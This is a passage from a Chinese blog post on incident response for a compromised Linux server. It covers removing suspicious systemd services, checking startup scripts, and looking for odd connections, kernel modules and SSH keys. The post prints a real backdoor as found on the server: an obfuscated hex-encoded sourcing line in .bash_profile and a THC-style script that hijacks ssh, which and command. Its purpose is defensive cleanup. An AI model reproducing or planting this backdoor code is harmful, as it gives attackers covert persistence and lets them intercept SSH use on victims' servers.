  • EDyKCSB8c.service
  • K3NanMNav.service
  • tmuxinfo89bd15e2.service

找到可疑服务后,可以使用 systemctl cat <服务名> 来确认服务的详细信息。
特别关注并记录

  • 服务配置文件的位置(systemctl cat <服务名> 第一行输出)
  • ExecStart 配置的启动程序

如果确认需要处理

# 立即停止服务
systemctl stop <服务名>
# 取消其开机启动
systemctl disable <服务名>

# 删除配置文件
rm <配置文件>
# 删除启动程序
rm <启动程序>
# 刷新 systemd
systemctl daemon-reload

5. 检查所有用户的启动脚本

  • 如果内容较多可以把结果交给 AI 进行筛查(提示词:我在排查木马或者挖矿程序问题,下面的的启动项是否存在可以内容)
cat /root/.bashrc
cat /root/.bash_profile 2>/dev/null
ls -la /etc/profile.d/

这里找到了一个可疑的内容

# /root/.bash_profile
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f726f6f742f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD

其目的是每次 root 登录后,调用 /root/.config/prng/seed 程序,其内容如下

这是一个典型的恶意后门脚本,属于 THC(一个与黑客工具相关的标识)家族的隐蔽控制程序,核心目的是劫持系统命令、长期控制服务器

export THC_BASEDIR="/root/.config/prng"
THC_VERBOSE=""
[[ -n "$THC_VERBOSE" ]] && export THC_VERBOSE || unset THC_VERBOSE
THC_TESTING=""
[[ -n "$THC_TESTING" ]] && export THC_TESTING || unset THC_TESTING
THC_PS_NAME="$(basename $SHELL 2>/dev/null)"
export THC_PS_NAME="-${THC_PS_NAME:-bash}"
THC_ORIG_SSH="$(command -v ssh)"
#THC_ORIG_SUDO="$(command -v sudo)"
unalias which &>/dev/null
thc_set1()
{
        unset -f ssh sudo 2>/dev/null
        ssh()
        {
                if [[ -f "/root/.config/prng/ssh" ]]; then
                        THC_TARGET="$THC_ORIG_SSH" "/root/.config/prng/ssh" "$@"
                else
                        $THC_ORIG_SSH "$@"
                fi
        }
        #sudo()
        #{
        #       if [[ -f "/root/.config/prng/sudo" ]]; then
        #               THC_TARGET="$THC_ORIG_SUDO" "/root/.config/prng/sudo" "$@"
        #       else
        #               $THC_ORIG_SUDO "$@"
        #       fi
        #}
        which()
        {
                unset -f ssh sudo which command 2>/dev/null
                which "$@" && { thc_set1; true; } || { thc_set1; false; }
        }
        command()
        {
                unset -f ssh sudo which command 2>/dev/null
                command "$@" && { thc_set1; true; } || { thc_set1; false; }
        }
}
thc_set1

立即删除了该配置

6. 其他可疑情况排查

# 可疑网络连接:列出网络连接后人工或者 AI 辅助筛查
netstat -antp | grep -v "127.0.0.1" | grep ESTABLISHED

# 可疑内核模块:列出内核模块后人工或者 AI 辅助筛查
lsmod | grep -v "^Module"

# 排查异常 ssh 登录配置
cat /root/.ssh/authorized_keys 2>/dev/null
ls -la /root/.ssh/

# 检查内核模块(木马可能加载了 rootkit)
lsmod | awk '{print $1}' | while read mod; do
  modinfo $mod 2>/dev/null | grep -E "^(filename|description|author)" | head -3
  echo "---"
done | grep -B 3 -A 1 -E "(deleted|unknown|suspicious)" | head -50

三、总结

整体排查流程如下

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小郎碎碎念

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值